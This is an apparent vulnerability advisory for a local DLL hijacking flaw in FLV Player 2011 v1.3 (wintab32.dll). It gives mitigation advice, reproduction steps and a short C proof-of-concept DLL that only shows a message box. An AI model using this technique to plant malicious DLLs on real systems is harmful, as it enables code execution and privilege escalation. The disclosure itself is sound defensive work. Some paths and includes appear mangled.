Flv Player 2011 v1.3 – DLL Injection/Code Execution

A local dll injection vulnerability has been discovered in the official FLV Player software. The issue allows local attackers to inject code to vulnerable libraries to compromise the process or to gain higher access privileges.

Product & Service Introduction:
===============================

FLV Player is a utility that you can use to play files in FLV format, a format often used for videos that are delivered over the Internet. Aside from FLV files, MPEG, MOV, MP4, AVI, SWF, 3GPP and 3GPP2, WMV or RM files can also be played by the utility.

(Copy of the Vendor Homepage: http://www.reganam.com/)

Vulnerable Software:
[+] FLV Player

Vulnerable Libraries:
[+] wintab32.dll

Date of Discovery:
==================

2016-09-30

Exploitation Technique:
=======================

Local

Platfom Tested:
===============

Windows 7

Solution – Fix & Patch:
=======================

1/ Whenever possible, use a full path when loading a library.
2/ Delete the current directory from the search path by using ‘SetDLLDirectory;’
3/ Do not use ‘SearchPath’ to locate a library. ‘SearchPath’ was not intended to search for libraries to load into the application’s process space and uses an unsecured search order.
4/ Do not attempt to load libraries only to identify the version of Windows. Instead, use ‘GetVersionEx’ or a similar function offered by the Windows API.

Levels Risk :

Proof of Concept (PoC):
=======================

The dll hijack vulnerability can be exploited by local attackers with restricted system user account and without user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

Manual steps to reproduce the local vulnerability ...
1. Compile dll and rename to wintab32.dll 
2. Copy wintab32.dll to C:Program FilesFlvplayer2013Flv-Player.exe
3. Launch Flv-Player.exe
4. MessageBox Executed

-- PoC Exploit --

#include 
#define DllExport __declspec (dllexport)

BOOL WINAPI DllMain (
HANDLE hinstDLL,
DWORD fdwReason,
LPVOID lpvReserved)
{
dll_hijack();
return 0;
}

int dll_hijack()
{
MessageBox(0, "DLL Hijacking By ZwX!", "DLL Message", MB_OK);
return 0;
}

Soyez le premier à commenter

Poster un Commentaire

Votre adresse de messagerie ne sera pas publiée.


*